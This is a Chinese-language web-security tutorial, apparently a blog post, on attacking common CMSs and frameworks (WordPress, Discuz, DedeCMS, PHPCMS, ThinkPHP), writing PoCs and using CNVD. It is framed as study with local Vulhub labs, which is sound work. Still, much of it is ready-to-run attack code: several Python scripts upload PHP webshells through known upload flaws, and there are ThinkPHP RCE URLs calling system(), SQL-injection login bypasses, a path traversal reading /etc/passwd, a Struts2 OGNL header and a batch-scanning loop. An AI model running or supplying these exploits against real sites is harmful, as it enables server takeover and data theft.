当前位置: 首页 > news >正文

关于 Web 安全:6. 常见 CMS 开源系统风险点

一、WordPress 

  • 开源内容管理系统(CMS),使用 PHP + MySQL 构建;

  • 全球超过 40% 网站使用

  • 支持插件、主题系统,功能可扩展性极强;

  • 也是风险点最多的系统之一,插件/主题贡献了大部分安全问题

1.1 WordPress 架构概览

(便于理解风险点位置)

WordPress
├── wp-admin/     → 后台管理界面
├── wp-content/
│   ├── themes/   → 前端模板(可能存在 XSS/上传)
│   └── plugins/  → 插件目录(最多风险点来源)
├── wp-includes/  → 核心函数库
├── wp-config.php → 配置文件(数据库连接信息)
├── index.php     → 网站首页入口
└── functions.php → 常见主题挂钩函数

1.2 WordPress 常见风险点类型

类型描述示例插件/位置
任意文件上传插件绕过上传限制,上传 PHP Shell文件管理类插件、主题上传点
SQL 注入参数未过滤,注入数据库语句如 WP Statistics
XSS(跨站脚本)用户输入未过滤,注入 JS 脚本评论、搜索框、帖子
CSRF未做 Token 验证的敏感操作管理员点击恶意链接,触发敏感动作
RCE通过插件/主题风险点,远程执行任意 PHP 命令PHP Object Injection、eval() 后门
信息泄露暴露用户、路径、目录结构等xmlrpc 接口、REST API、目录遍历

1.3 历史 CVE 风险点分析(含原理)

CVE-2019-8942 — 任意文件删除风险点

  • 位置wp-includes/functions.php

  • 影响版本:WordPress < 5.0.1

  • 原理

    • wp_delete_attachment() 可删除任意路径;

    • 攻击者上传一个图片文件并删除对应路径可实现本地文件删除。

CVE-2020-25213 — 插件 File Manager RCE

  • 插件名:File Manager(700k+ 安装)

  • 风险点描述

    • 插件打包带了 elFinder 文件管理器;

    • elFinder 中的 connector.minimal.php 没有身份验证;

    • 可直接上传恶意 PHP 文件并执行,实现 RCE。

  • 利用路径

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

CVE-2017-1001000 — WP REST API 任意用户信息泄露

  • 影响版本:4.7.x

  • API 可被未授权访问,直接获取用户信息:

GET /wp-json/wp/v2/users

1.4 POC 编写方法(以 RCE 为例)

示例:File Manager 插件 RCE POC

import requests  # 导入 requests 库,用于发送 HTTP 请求def upload_shell(url):  # 定义上传 WebShell 的函数,参数为目标网站地址# 拼接目标上传地址,这是 WP File Manager 插件的一个文件上传接口路径upload_url = f"{url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"# 构造上传的文件参数,文件名为 shell.php,内容为执行 cmd 参数命令的 PHP 代码,MIME 类型为 PHPfiles = {'upload[]': ('shell.php', b'<?php echo shell_exec($_GET["cmd"]); ?>', 'application/x-php')}try:# 发送 POST 请求将文件上传到服务器r = requests.post(upload_url, files=files, timeout=5)# 如果响应中包含“added”关键字,表示上传成功if "added" in r.text:print("[+] 上传成功!尝试访问 shell")  # 打印成功信息# 打印 WebShell 的访问地址,并附带测试命令 ?cmd=idprint(f"访问地址:{url}/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id")else:print("[-] 上传失败")  # 上传不成功则输出失败信息except:print("[-] 请求失败")  # 请求过程中出现异常则输出失败信息upload_shell("http://127.0.0.1")  # 调用函数,传入本地测试地址作为目标网站地址

1.5 风险点复现平台

1)Vulhub

  • 风险点靶场,提供 WordPress 相关复现环境

  • 使用方法:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/wordpress/CVE-XXXX-XXXX
docker-compose up -d

2)GitHub PoC 搜索

site:github.com wordpress poc
site:github.com wordpress CVE-2020-25213

常见 PoC 库:

  • https://github.com/projectdiscovery/nuclei-templates

  • https://github.com/vulhub/vulhub

  • https://github.com/nomi-sec/PoC-in-GitHub

3)国内平台

平台功能
CNVD查阅已知 WordPress 核心/插件风险点
补天平台提交 WordPress 风险点获得积分、赏金
风险点盒子(历史)老平台,很多插件历史风险点记录

1.6 系统性 WordPress 风险点挖掘

初级阶段:

  • 安装 WordPress(建议用 Docker)

  • 安装热门插件(下载旧版本)

  • 配合 Burp Suite 抓包观察上传/请求

中级阶段:

  • 用 WPScan 自动化扫描插件风险点

  • 学习常见 CVE 利用过程

  • 手动构造 POC、复现请求

高级阶段:

  • 审计插件源码(PHP)

  • 分析插件 hook、filter、ajax 动态请求

  • 自己编写插件 + 引入风险点 → 学习风险点原理

1.7 WPScan 工具推荐

wpscan --url http://127.0.0.1 --enumerate p
  • --enumerate u 枚举用户

  • --enumerate p 枚举插件

  • --api-token=xxx 可查 CVE

1.8 小结

项目内容
学习方向插件/主题安全、风险点分析、审计、PoC 编写
高危点任意上传、插件远程命令执行、反序列化
实践方式使用 Vulhub + GitHub POC + 自己编写上传脚本
常用工具WPScan、Burp Suite、dirsearch、nuclei

二、Discuz 

Discuz 是国内大量网站(如论坛、社区)的核心组件,因其广泛使用和 PHP 编写,成为安全研究重点对象。

  • 作者:Comsenz(腾讯收购)

  • 语言:PHP + MySQL

  • 用途:论坛、社区系统(可与 UCenter 集成)

  • 文件结构:功能集中在 source/ 目录,交互入口在 forum.phpmember.php

2.1 Discuz 常见风险点类型

风险点类型描述常见位置
SQL注入参数拼接未过滤搜索、登录、插件参数
任意文件上传绕过 MIME 检测上传头像、主题封面、插件
XSS 跨站脚本输入未过滤、富文本风险点帖子内容、签名、头像路径
CSRF 跨站请求伪造缺少 formhash 校验注册、发帖、添加管理员
远程代码执行 RCE利用 eval / preg_replace / 动态 include插件模板、缓存文件
任意文件读取/包含用户输入拼接文件路径include、require、loadcache
SSRF/命令注入管理后台中图片链接处理头像抓取、远程图片

2.2 Discuz 文件结构

利于风险点定位

Discuz/
├── admin.php          → 后台入口
├── forum.php          → 主页面逻辑
├── uc_server/         → 用户中心(UCenter)
├── source/
│   ├── function/      → 核心函数库
│   ├── module/        → 模块控制器
│   ├── plugin/        → 插件目录
│   ├── class/         → 类库
│   └── include/       → 各类配置及逻辑函数
├── config/
├── data/
│   ├── cache/         → 缓存,某些可写导致 RCE
│   └── template/      → 模板编译生成目录
└── template/          → 前端模板

2.3 典型 CVE 和历史风险点详解

1)Discuz! X3.4 前台 getshell 风险点(无 CVE,影响广泛)

  • 版本:Discuz X3.4 < R20211215

  • 入口:插件上传图片时绕过 MIME 检测,写入 PHP Shell 到缓存目录

  • 关键点:上传路径 data/cache/common.php 被 include,成功 getshell

原理:

// source/function/function_core.php
// 文件缓存内容直接 include
if(file_exists($cachefile)) {include $cachefile;
}
  • 攻击者构造上传内容为 PHP 代码,绕过格式检测;

  • 上传后缓存被 include,即可远程执行 PHP。

2)CVE-2013-2087 — SQL 注入风险点

  • 版本:Discuz 7.2

  • 位置misc.php?mod=patch

  • 参数serial 直接进入 SQL 查询,未做参数过滤

  • 影响:可爆库、登录后台、提权等

3)XSS 风险点 — 签名/主题

  • 签名设置时可以写入 <script>

  • 管理员后台查看时触发;

  • 可构造Cookie 窃取 / CSRF 搭配使用实现提权

2.4 利用方式与 POC 编写

示例:Discuz X3.4 插件上传图片绕过上传检测 Getshell

import requests# 修改为你的目标站点
target = 'http://127.0.0.1/discuz/'# 构造上传内容(PHP一句话)
payload = {'Filedata': ('shell.jpg', b'<?php eval($_POST["cmd"]);?>', 'image/jpeg')
}headers = {'User-Agent': 'Mozilla/5.0','Cookie': 'your_cookie_here'  # 登录后的 Cookie
}upload_url = target + 'misc.php?mod=swfupload&action=swfupload&operation=album&type=image'
r = requests.post(upload_url, files=payload, headers=headers)print('[+] 上传完成,检查是否写入缓存并被 include')

2.5 风险点挖掘思路

目标方法
上传风险点搜索 move_uploaded_file / copy 函数
SQL注入搜索 $sql = "SELECT ... $_GET/$_POST"
XSS搜索 echo $_GET/$_POST/$_COOKIE
文件包含搜索 include($_GET)require($var)
CSRF找 form 操作是否校验 formhash

2.6 工具推荐

1)Burp Suite + 插件(xss validator、upload scanner)

2)代码审计工具

  • Seay Source Code Auditor(国产,支持 PHP)

  • RIPS(开源静态分析工具)

  • VSCode + 全局搜索

3)自动化风险点检测框架

  • dirsearchnucleiWhatWeb:探测后台与目录结构

  • sqlmap:测试 SQL 注入

2.7 风险点复现平台

平台说明
CNVD查 Discuz 历史风险点
风险点盒子搜 Discuz + 风险点类型(如“discuz 文件上传”)
补天平台真实站点测试(白帽子平台)
GitHub PoC 搜索直接下载复现脚本或 Fuzz 工具
Vulhub虽未内置 Discuz,可自行搭建测试环境

2.8 系统学习 Discuz 风险点

推荐流程:

  1. 本地搭建环境

    • 使用 LNMP(或 XAMPP/WAMP)搭建 Discuz

    • 安装常用插件如“X附件管理”、“门户扩展”、“积分商城”

  2. 手动分析风险点

    • 查找上传入口、动态 include 文件

    • 配合 burp 抓包分析请求参数

  3. 复现公开风险点

    • 利用 CNVD/wooyun 风险点标题 + GitHub 搜脚本

    • 改写为 POC/EXP,加深理解

  4. 源码审计(进阶):

    • 审计 source/function、module/plugin 目录

    • 重点函数:include, eval, move_uploaded_file, DB::query

2.9 小结

内容说明
核心风险上传点+缓存路径包含、插件不安全参数
高危函数eval、preg_replace、include、require、DB::query
POC 编写抓包分析请求路径、构造上传/注入/脚本内容
建议练手X3.4 缓存上传 RCE、XSS(签名)、SQL注入 CVE-2013-2087
推荐技能熟悉 PHP、掌握 Burp Suite、代码审计技巧

三、dedecms 

  • 作者:织梦科技(dede58.com / dedecms.com)

  • 语言:PHP + MySQL

  • 用途:中小型企业官网、个人站、博客系统,国内使用广泛

  • 特性:模板灵活、后台功能强,但安全设计薄弱

3.1 DedeCMS 常见风险点类型

风险点类型说明风险点位置举例
SQL注入参数拼接未过滤member、plus、diy模块
任意文件上传上传文件未做类型校验或扩展名绕过模板文件上传、自定义表单上传
远程命令执行(RCE)利用 include + 用户可控路径等构造include 动态拼接
任意文件删除可控路径拼接 unlink 函数缓存清除/图片处理等
任意文件读取拼接 include 路径、读取配置、数据库备份文件下载备份数据库、模板泄漏
XSS页面未对用户输入做转义留言板、评论、会员资料、搜索框
CSRF缺少 token 检查,用户操作被劫持后台配置、会员注册或密码修改等

3.2 重要目录结构

dedecms/
├── dede/                 → 后台目录(默认可自定义)
├── plus/                 → 模块扩展接口(如留言板、搜索)
├── uploads/              → 用户上传目录
├── include/              → 核心库函数
├── data/                 → 数据库备份 / 配置文件 / 可读可写
├── templets/            → 前端模板目录
├── member/              → 用户系统模块
└── install/             → 安装程序

3.3 典型风险点与 CVE 实例详解

1)CVE-2018-6910 — 任意文件删除风险点

  • 位置/plus/recommend.php

  • 原理

    • 参数 aid 为用户控制,最终调用了 unlink 删除文件

    • 可拼接删除任意文件,如:../../data/admin/config.php

// plus/recommend.php
@unlink($cfg_basedir.$row['litpic']);

2)任意文件上传(getshell) — no CVE

  • 版本:DedeCMS v5.7 SP2 / SP3 多版本

  • 位置:会员中心 / 模板管理上传 / 自定义表单

// dede/templets.php
move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cfg_basedir.$filename);
  • 可以构造上传 .php;.jpg 文件绕过检查

  • 上传路径可控,如 uploads/a.php

3)SQL 注入风险点

  • 位置plus/diy.php, plus/search.php, member/guestbook.php

  • 危险函数$dsql->Execute(), GetOne(), ExecuteNoneQuery()

// plus/diy.php
$query = "SELECT ... WHERE id='$id'";
// id 未过滤,拼接到 SQL
  • 利用 id=1' or updatexml(1,concat(0x7e,user()),0) --+ 可回显错误

4)远程代码执行风险点(RCE) — include 拼接

  • 位置/include/common.inc.php 中存在动态包含
require_once(dirname(__FILE__).'/../'.$some_var.'.php');
  • 如果 $some_var 可控,则可实现任意包含或代码执行

3.4 风险点挖掘与 POC 编写方法

示例:DedeCMS 任意文件上传 Getshell(会员中心)

攻击流程:

  1. 登录会员中心

  2. 上传头像时绕过检查上传 php

  3. 利用访问上传路径执行恶意代码

简易 POC:

import requestsurl = 'http://target.com/uploads/'
file = {'file1': ('shell.php', '<?php eval($_POST["cmd"]); ?>', 'application/octet-stream')}r = requests.post('http://target.com/dede/templets_add.php', files=file)
if 'success' in r.text:print('[+] Upload success')print(f'[+] Shell: {url}shell.php')

3.5 代码审计思路

目标类型搜索关键词
上传风险点move_uploaded_file, copy
SQL 注入SELECT * FROM, WHERE, $_GET, $_POST
文件包含/执行include, require, eval
文件删除unlink, @unlink
读取敏感信息readfile, fopen

3.6 复现环境搭建

方式一:Docker 环境搭建

git clone https://github.com/vulhub/vulhub
cd vulhub/dedecms/CVE-2018-6910
docker-compose up -d

访问:http://localhost:8080

方式二:手动搭建

  1. 下载 dedecms 安装包(如 5.7 SP2)

  2. 本地配置 LNMP / XAMPP 环境

  3. 修改后台目录名(dede/)确保路径一致

  4. 添加测试数据,构造 payload

3.7 风险点资源获取平台

平台用法示例
CNVD搜索关键词 DedeCMS,获取风险点编号和说明
风险点盒子织梦, dedecms,查看历史风险点和 PoC
补天平台查询真实站点 DedeCMS 风险点情况
GitHub PoC搜索 dedecms poc exploit
SecWiki整理常见 CMS 风险点

3.8 系统性 DedeCMS 风险点挖掘

初级:

  • 熟悉后台结构、模板上传逻辑、plus 接口参数

  • 练习 CVE-2018-6910(任意删除)和常见文件上传

中级:

  • 审计 member/plus/dede/include 目录代码

  • 编写 burp 插件抓包分析自定义上传逻辑

高级:

  • 分析 include/common.inc.php 加载流程

  • 搜索 eval, include, require, fwrite,做静态审计

3.9 小结

内容说明
高危函数eval, include, move_uploaded_file, unlink
容易被攻击点模板上传、会员资料、plus 接口
实战推荐风险点任意删除 CVE-2018-6910、模板上传 Getshell
推荐平台与工具GitHub PoC、Vulhub、Burp Suite、Seay 审计工具
建议本地搭环境,复现 + 审计结合,逐步深入理解源码

四、phpcms 

  • 名称:PHPCMS(PHP内容管理系统)

  • 作者:2003年诞生,开源免费,由盛大收购后开源终止,后由社区维护

  • 语言:PHP + MySQL

  • 版本:常见使用版本为 PHPCMS v9

目录结构清晰、模块化好、使用面广,但安全性设计不够完善,是代码审计和风险点复现的经典 CMS 之一。

4.1 重要目录结构

phpcms/
├── phpcms/          ← 核心文件
├── caches/          ← 缓存目录,可写
├── statics/         ← 静态资源
├── api/             ← 接口模块
├── install/         ← 安装目录
├── member/          ← 会员中心
├── admin/           ← 管理后台
├── uploadfile/      ← 文件上传(可传马)
└── configs/         ← 数据库配置等

4.2 常见风险点类型总结

类型简述
任意文件上传上传头像、编辑器附件、模板等绕过限制,获取 webshell
SQL 注入使用 $this->db->query() 拼接参数导致注入
远程命令执行用户参数拼接后用于 evalassert
任意文件包含include($_GET['mod'].'.php') 这类形式
任意文件读取readfile($filename)file_get_contents($_GET['f'])
任意文件删除unlink($_GET['file']) 等未验证参数
后台绕过管理登录验证绕过、验证码绕过
XSS/CSRF富文本/评论系统等

4.3 典型风险点实例详解(含 CVE)

1)任意文件上传风险点(webshell)

  • 位置phpcms/modules/member/index.php

  • 原理

    • 注册会员上传头像时,没有过滤扩展名或上传路径可控

    • 可以上传 a.php;.jpg 或通过目录穿越写入 .php

实战流程:

  1. 注册账号,访问上传接口

  2. 上传恶意 webshell

  3. 构造访问路径执行命令

示例代码:

// member/index.php
$filepath = 'uploadfile/avatar/' . $userid . '.jpg';
move_uploaded_file($_FILES['Filedata']['tmp_name'], $filepath);

构造 payload:

POST /index.php?m=member&c=index&a=upload HTTP/1.1
...
Filedata = shell.php;.jpg   // 后缀绕过

2)SQL 注入风险点(无WAF场景高回显)

  • 位置/api.php,参数未过滤

  • CVE:CVE-2018-19127

  • POC

http://target.com/index.php?m=content&c=index&a=lists&catid=1&kw=' and updatexml(1,concat(0x7e,user()),1) --+
  • 可直接报错注入,回显数据库用户名等敏感数据

3)任意文件读取风险点

  • 位置phpcms/modules/content/down.php

  • 风险点点

$filename = $_GET['f'];  // 未限制后缀名和目录
readfile($filename);
  • 构造访问:
http://target.com/index.php?m=content&c=down&a=init&f=../../config/database.php

4)任意文件包含风险点

  • CVE:CVE-2018-19126

  • 位置phpcms/modules/search/index.php

  • 核心代码

require_once PHPCMS_PATH.'include/'.$module.'.php';
  • 构造:
http://target.com/index.php?m=search&c=index&a=init&module=../../uploadfile/shell

前提是可控上传 + include。

4.4 POC 编写方式

以上传风险点为例,编写 POC 时通常包含三步:

  • 构造上传请求

files = {'Filedata': ('shell.php;.jpg', '<?php eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post(upload_url, files=files)
  • 判断是否上传成功
if 'success' in r.text and 'shell.php' in r.text:print("Upload Success")
  • 发送命令执行测试
test = requests.post(shell_url, data={'cmd': 'phpinfo();'})
if 'PHP Version' in test.text:print("Shell is working")

4.5 复现平台

平台使用方式
CNVD搜索关键词 phpcms 查看风险点编号、通告
补天平台搜 “phpcms” 查看实战攻击记录
GitHub POCphpcms poc exploit
Vulhub提供 CVE-2018-19126 等复现环境
风险点盒子镜像查找历史风险点投稿
Seebug有详细风险点分析文章

4.6 本地搭建复现环境

方法一:使用 Vulhub

git clone https://github.com/vulhub/vulhub
cd vulhub/phpcms/CVE-2018-19126
docker-compose up -d

访问:http://localhost:8080

方法二:手动搭建

  • 下载 PHPCMS v9

  • 配置 LNMP 环境

  • 配置 MySQL 及数据库账号

  • 添加测试数据并尝试风险点构造

4.7 代码审计技巧

审计目标检查方式
上传函数move_uploaded_file, copy, fwrite,配合 $_FILES 使用
SQL语句拼接$db->query("select * from ... ".$_GET['id'])
动态执行函数eval(), include, require
文件读取readfile, file_get_contents, fopen

4.8 学习建议

入门阶段

  • 学会搭建 phpcms v9 环境

  • 练习 CVE-2018-19126 文件包含

  • 抓包分析上传接口逻辑

进阶阶段

  • 熟练编写文件上传、注入、包含类风险点 POC

  • 尝试代码审计 phpcms/modules/* 路径下各模块

  • 搜索高危函数 eval, assert, unserialize

4.9 小结

内容说明
高危点上传接口、search 模块、down 模块
推荐复现风险点CVE-2018-19126、上传 getshell
平台与资源GitHub PoC、Vulhub、CNVD、补天
学习方向建议审计 + 搭建复现 + 写 PoC + 看 CVE

五、ThinkPHP 

  • 全称:ThinkPHP Framework

  • 作者/团队:TopThink(国人开发)

  • 语言:PHP

  • 版本体系

    • ThinkPHP 3.x(大量站点仍在用)

    • ThinkPHP 5.x(5.0、5.1)

    • ThinkPHP 6.x(最新版,重构了架构)

安全性最差的版本为 ThinkPHP 5.0.x 和 5.1.x,风险点最多、利用最广。

5.1 常见风险点类型

风险点类型简述
RCE(远程命令执行)路由解析器对控制器/方法名未做严格过滤
SQL注入部分版本参数拼接或query手动执行导致注入
变量覆盖使用 extract、parse_str 导致全局变量被覆盖
文件包含使用 include($file) 时未限制路径
信息泄露debug 模式、trace、日志接口未关闭
任意文件写入/上传模板写入、日志写入可导致任意写文件

5.2 核心风险点详解

1)ThinkPHP 5.0.23 RCE(经典)

  • 编号:无 CVE,但极其广泛

  • 影响版本:ThinkPHP 5.0.0 ~ 5.0.23

  • 原因:路由系统未限制模块/方法名,导致 __construct() 被执行

请求构造:

POST /index.php?s=/index/\think\Request/input HTTP/1.1
Content-Type: application/x-www-form-urlencoded_get[]=phpinfo
  • 解释:

    • /index.php?s=/index/\think\Request/input 利用了 PHP 类自动加载

    • 调用了 Request::input() 方法

    • _get[] 数组会被传给 input 方法,最终触发命令执行

利用函数:

  • system()

  • phpinfo()

  • assert()

2)ThinkPHP 5.1.6 RCE(CVE-2018-20062)

  • 编号:CVE-2018-20062

  • 原理:控制器反射调用,构造调用方法并传参触发命令执行

利用路径:

GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1
  • App::invokeFunction() 会调用任意函数 phpinfo,传参为 1

  • 支持调用 system, exec, shell_exec

攻击链:

\think\App -> invokeFunction(function, args) -> call_user_func_array

3)变量覆盖导致任意文件写入

  • 原理

    • 日志系统使用 extract() 获取变量

    • 利用日志写入点 + 后缀伪造写入 webshell

利用条件:

  • 日志目录可写

  • 文件内容可控(如写入 <?php eval($_POST['cmd']); ?>

5.3 POC 编写思路(以 5.0.23 RCE 为例)

POC 核心思路:

  • 发送 POST 请求执行 phpinfo() 测试 RCE 是否存在

  • 改成 system('id') 实现命令执行

import requestsurl = 'http://target.com/index.php?s=/index/\\think\\Request/input'
data = {'_method': '__construct', 'filter[]': 'phpinfo', 'server[REQUEST_METHOD]': '1'}r = requests.post(url, data=data)if 'PHP Version' in r.text:print("[+] ThinkPHP RCE 存在!")

5.4 审计技巧与代码分析重点

关键位置说明
route.php路由定义和闭包函数可能执行
app()->run()核心入口函数
App::invokeFunction可反射执行任意函数
Request::input()读取任意输入数据
Config::get()读取配置(信息泄露点)
Log::write()可控写入日志

5.5 复现平台

资源平台用途与说明
Vulhub提供 TP 5.0.23、5.1.6 风险点环境
GitHub POC搜索 thinkphp RCE CVE poc
CNVD查询国内披露的 TP 风险点
Seebug优质风险点分析文章与实战案例
风险点盒子/补天有丰富的 TP 实战提交和案例

5.6 本地环境复现(Vulhub)

git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5-rce
docker-compose up -d

访问:http://localhost:8080  可直接使用 PoC 测试是否存在风险点

5.7 实战挖掘技巧

1)路由注入点识别

  • /index.php?s=/ 是否存在?

  • 是否允许使用 \think\类名 构造请求?

2)控制器调用链梳理

  • 查看是否存在反射执行点 App::invokeFunction, Loader::action

3)日志/模板写入点

  • 查看 Log::write() 是否内容可控

  • 模板编译缓存是否在 web 根目录runtime/temp/*.php

4)DEBUG 模式信息泄露

访问:

/index.php?s=/index/\\think\\app/invokefunction&function=phpinfo
/index.php?debug=1

5.8 版本风险点

版本风险点CVE/说明
TP 5.0.23RCE via Request::input无 CVE,经典构造
TP 5.1.6RCE via App::invokeFunctionCVE-2018-20062
TP 3.2.3SQL 注入、变量覆盖存在多个未修复风险点
TP 通用任意方法调用、任意文件写入、debug 泄露取决于配置与代码写法

5.9 学习建议

阶段学习建议
入门跑通 Vulhub 的 TP 风险点复现,理解控制器调用链
进阶熟悉框架路由机制、反射函数执行机制
提升自己写一个小风险点框架或扫描器,挖私有站风险点

六、CVE 利用方式

6.1 什么是 CVE?

  • CVE 编号示例:CVE-2018-20062

  • 组成CVE-年份-编号,如 CVE-2023-XXXX

  • 意义:为安全研究者提供一个统一引用风险点的“身份证”。

6.2 CVE 风险点利用的一般步骤

步骤说明
① 查找 CVE 信息在 NVD、Exploit-DB、Seebug、CNVD 上查询
② 理解风险点原理阅读风险点分析报告,梳理调用链与触发点
③ 环境搭建使用 Vulhub、Docker、本地源码构建环境
④ 编写 PoC构造触发风险点的数据包或请求
⑤ 执行利用利用风险点执行命令、读取文件、getshell 等
⑥ 留痕排查查看日志、修复补丁、写风险点检测脚本

6.3 CVE 利用类型示例(Web 安全领域)

类型示例 CVE利用方式
RCE(远程命令执行)CVE-2018-20062(ThinkPHP)构造反射函数调用执行命令
SQL注入CVE-2022-36804(Jira)在查询参数中注入 SQL 语句
文件上传CVE-2023-25136(某 CMS)构造非法上传绕过后缀检查
文件包含CVE-2019-6340(Drupal)包含远程代码并执行
任意文件读取CVE-2021-43798(Grafana)利用路径穿越读取系统文件

6.4 CVE 利用方式深入分析:以两个 CVE 为例

案例一:ThinkPHP RCE(CVE-2018-20062)

风险点概述:

  • 利用了 App::invokeFunction() 方法未做权限验证,可远程执行任意函数

请求方式:

GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1

 实现效果:

  • 执行任意 PHP 函数,如 system("id")

利用步骤:

  • 本地搭建 ThinkPHP 5.1 环境

  • 访问上方构造的 URL

  • 响应中出现 PHP 版本信息或执行结果

案例二:Apache Struts2 RCE(CVE-2017-5638)

风险点:

  • Apache Struts2 文件上传组件使用 Content-Type 头触发 OGNL 表达式执行

Payload 示例:

Content-Type: %{(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Test","Exploit"))}

执行效果:

  • 执行任意命令,如 whoami、反弹 shell

6.5 CVE PoC 编写方法(以 Web 为例)

1)PoC 基本结构

import requestsdef test(url):payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"res = requests.get(url + payload)if "PHP Version" in res.text:print("[+] 风险点存在")else:print("[-] 风险点不存在")test("http://127.0.0.1")

2)攻击型 Exploit 示例(RCE)

import requestsdef exploit(url, cmd):payload = f"/index.php?s=/index/\\think\\App/invokefunction&function=system&vars[0]={cmd}"res = requests.get(url + payload)print(res.text)exploit("http://127.0.0.1", "id")

6.6 常用平台查找 CVE 和 POC

1)官方平台

名称地址说明
NVDhttps://nvd.nist.gov官方 CVE 数据库
CVE 官网https://cve.mitre.orgCVE 编号查询
CNVDhttps://www.cnvd.org.cn国内风险点库

2)POC/EXP 平台

平台用途
Exploit-DB:https://www.exploit-db.com收录 CVE 的 Exploit 代码
GitHub(搜索 CVE-xxxx)搜索开源 POC/EXP
Seebug:https://paper.seebug.org中文分析报告与 POC
风险点盒子、补天平台可上传和复现 CVE
Vulhub:https://github.com/vulhub/vulhub提供 CVE 对应的 Docker 风险点复现环境

6.7 CVE 实战思路总结

  • 先搜索 CVE 编号(Google、NVD、Seebug)

  • 确认版本是否影响

  • 在 Vulhub 构建复现环境

  • 写 POC 脚本测试回显

  • 扩展为批量检测脚本、自动化利用工具

  • 提交风险点平台如补天、SRC 或 GitHub


七、POC 编写方法

PoC(Proof of Concept) 是指用于验证风险点是否存在的一段代码或脚本,通常用来:

  • 风险点复现与验证

  • 自动化扫描

  • 提交风险点平台(如补天、CNVD)

  • 作为风险点利用(EXP)的前置阶段

重点是“验证”,不是“攻击”。PoC 不应对目标造成破坏。

7.1 PoC 的基本结构

PoC 的核心功能就是构造特定请求 ➜ 发送 ➜ 判断响应 ➜ 输出结果

import requestsdef poc(url):payload = "..."  # 构造恶意请求res = requests.get(url + payload)if "风险点特征" in res.text:print(f"[+] {url} 存在风险点!")else:print(f"[-] {url} 不存在风险点。")

7.2 常见风险点类型的 PoC 编写模板

1)远程命令执行(RCE)

以 ThinkPHP RCE 为例(CVE-2018-20062):

def thinkphp_rce(url):payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"try:res = requests.get(url + payload, timeout=5)if "PHP Version" in res.text:print(f"[+] 存在RCE风险点: {url}")else:print("[-] 不存在风险点")except:print("[-] 请求失败")

2)SQL 注入风险点

以某 CMS POST 注入为例:

def sql_injection(url):data = {"username": "admin","password": "admin' OR 1=1-- "}res = requests.post(url, data=data)if "欢迎您" in res.text or "dashboard" in res.text:print(f"[+] SQL注入成功: {url}")else:print("[-] SQL注入失败")

3)任意文件读取

以 Grafana 任意文件读取(CVE-2021-43798)为例:

def read_file(url):payload = "/public/plugins/alertlist/../../../../../../../../etc/passwd"res = requests.get(url + payload)if "root:x:0:0:" in res.text:print(f"[+] 存在任意文件读取: {url}")else:print("[-] 风险点不存在")

4)文件上传绕过

常见场景是上传 php 文件绕过后缀验证:

def file_upload_poc(upload_url):files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}res = requests.post(upload_url, files=files)if "上传成功" in res.text:print(f"[+] 文件上传成功,可能存在风险点")

7.3 编写 PoC 的核心技巧

1)如何构造 Payload?

  • 利用抓包工具(BurpSuite、Fiddler)观察正常和异常请求差异

  • 分析风险点原理,寻找参数、路径或头部注入点

  • 参考 Github / Exploit-DB 的 PoC 样例进行改写

2)如何判断是否成功?

  • 关键词判断法:如 "PHP Version""uid=""root:x:0"

  • 响应长度变化

  • HTTP 状态码

  • 响应头部特征

3)如何提升 PoC 自动化能力?

  • 增加 URL 检测逻辑,自动补全路径

  • 增加 timeout/重试机制

  • 支持批量扫描、读取目标列表

  • 添加可视化或日志记录模块

示例:批量扫描 PoC 框架

def scan(target_list):for url in target_list:try:thinkphp_rce(url)except Exception as e:print(f"[-] 扫描失败:{url}, 错误:{e}")

7.4 PoC 工具和平台资源

名称用途
VulhubDocker 风险点复现环境
Pocsuite3(推荐)Python 风险点验证框架
Seebug中文 PoC 平台
Exploit-DB国外 PoC 收集站
GitHub搜索:CVE-202x-xxxx poc
补天、风险点盒子提交风险点、查看他人 PoC

7.5 进阶建议

1)学习 PoC 框架

  • Pocsuite3360 Mars 团队开源风险点验证框架

  • Nuclei字节开源 YAML 编写 POC 框架,适合做批量扫描

  • MetasploitEXP 居多,也包含 PoC 模块

2)看公开源码学习结构

  • GitHub 搜索 intitle:poc CVE-202*,或关键词 cms风险点 poc,对照学习

  • 关注 SRC/补天 高质量 PoC 写法(参数化、模块化)

7.6 小结 

内容重点
PoC 目的风险点洞验证、非破坏性测试
编写核心构造请求 + 判断结果
编写顺序先复现 ➜ 观察请求 ➜ 写脚本 ➜ 自动化
实战建议多复现 CVE + 写自己的 PoC 库
工具推荐requests、Pocsuite3、Burp、Fiddler

八、CNVD

  • CNVD:China National Vulnerability Database

  • 中文名称:国家信息安全风险点共享平台

  • 官网地址:https://www.cnvd.org.cn

  • 主管单位:中国国家互联网应急中心(CNCERT)

CNVD 是中国官方的风险点收集与通报平台,作用类似于国际的 CVE 系统,但更加本地化,更贴近中国厂商的软件和使用生态。

它具备以下功能:

功能说明
风险点收录收集国内外各种软硬件系统的安全风险点信息
提交风险点安全研究员和厂商可以提交未公开风险点
通报预警对重要风险点进行分级通报、修复建议
风险点库查询提供按关键词、组件、厂商、时间等搜索风险点的功能
提交积分奖励提交风险点可获得“风险点积分”,用于排名与评优

8.1 CNVD 与 CVE 区别对比

比较项CNVDCVE
覆盖范围覆盖国内外,更注重国产系统覆盖国际主流产品
编号规则CNVD-年份-序列号(如 CNVD-2022-10201)CVE-年份-编号(如 CVE-2023-4567)
提交方式注册账号后可提交风险点需通过 CNA 或 MITRE 提交
是否公开所有风险点否,有些是未公开风险点是,公开数据库

CNVD 编号结构

示例:CNVD-2022-10201

  • CNVD:中国风险点库编号

  • 2022:年份

  • 10201:编号(每年单独编号)

有些风险点只有 CNVD 编号,没有 CVE,是国内独家披露的风险点。

8.2 如何使用 CNVD 做风险点研究?

1)查询风险点信息

打开官网首页 👉 https://www.cnvd.org.cn
使用 关键词、厂商、组件名、编号 等搜索:

  • 关键词:ThinkPHP / WordPress / Redis

